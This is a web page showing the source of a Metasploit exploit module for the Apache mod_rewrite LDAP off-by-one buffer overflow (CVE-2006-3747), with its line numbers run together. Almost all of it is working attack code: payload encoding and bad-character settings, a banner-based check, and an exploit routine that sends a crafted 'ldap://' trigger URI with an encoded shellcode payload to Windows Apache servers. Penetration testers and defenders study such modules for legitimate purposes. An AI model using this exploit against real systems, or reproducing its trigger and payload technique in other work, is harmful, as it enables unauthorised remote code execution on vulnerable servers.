Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Apache Module mod_rewrite LDAP Protocol Buffer Overflow',13'Description' => %q{14This module exploits the mod_rewrite LDAP protocol scheme handling15flaw discovered by Mark Dowd, which produces an off-by-one overflow.16Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.17This module requires REWRITEPATH to be set accurately. In addition,18the target must have 'RewriteEngine on' configured, with a specific19'RewriteRule' condition enabled to allow for exploitation.2021The flaw affects multiple platforms, however this module currently22only supports Windows based installations.23},24'Author' => 'aushack',25'References' =>26[27[ 'CVE', '2006-3747' ],28[ 'OSVDB', '27588' ],29[ 'BID', '19204' ],30[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],31[ 'EDB', '3680' ],32[ 'EDB', '3996' ],33[ 'EDB', '2237' ]34],35'DefaultOptions' =>36{37'EXITFUNC' => 'thread',38'AllowWin32SEH' => true39},40'Privileged' => true,41'Platform' => ['win'],42'Payload' =>43{44'Space' => 636,45'BadChars' => "\x00\x0a\x0d\x20",46'EncoderType' => Msf::Encoder::Type::AlphanumUpper,47'StackAdjustment' => -3500,48'DisableNops' => 'True',49},50'Targets' =>51[52[ 'Automatic', {} ], # aushack tested OK 20090310 win3253],54'DisclosureDate' => '2006-07-28',55'DefaultTarget' => 0))5657register_options(58[59OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),60])61end626364def check65res = send_request_raw({66'uri' => '/',67'version' => '1.1',68}, 2)6970if (res.to_s =~ /Apache/) # This could be smarter.71return Exploit::CheckCode::Detected72end73return Exploit::CheckCode::Safe7475end7677def exploit7879# On Linux Apache, it is possible to overwrite EIP by80# sending ldap://<buf> ... TODO aushack8182trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'8384print_status("Sending payload.")85send_request_raw({86'uri' => normalize_uri(datastore['REWRITEPATH']) + trigger + payload.encoded,87'version' => '1.0',88}, 2)89handler90end91end929394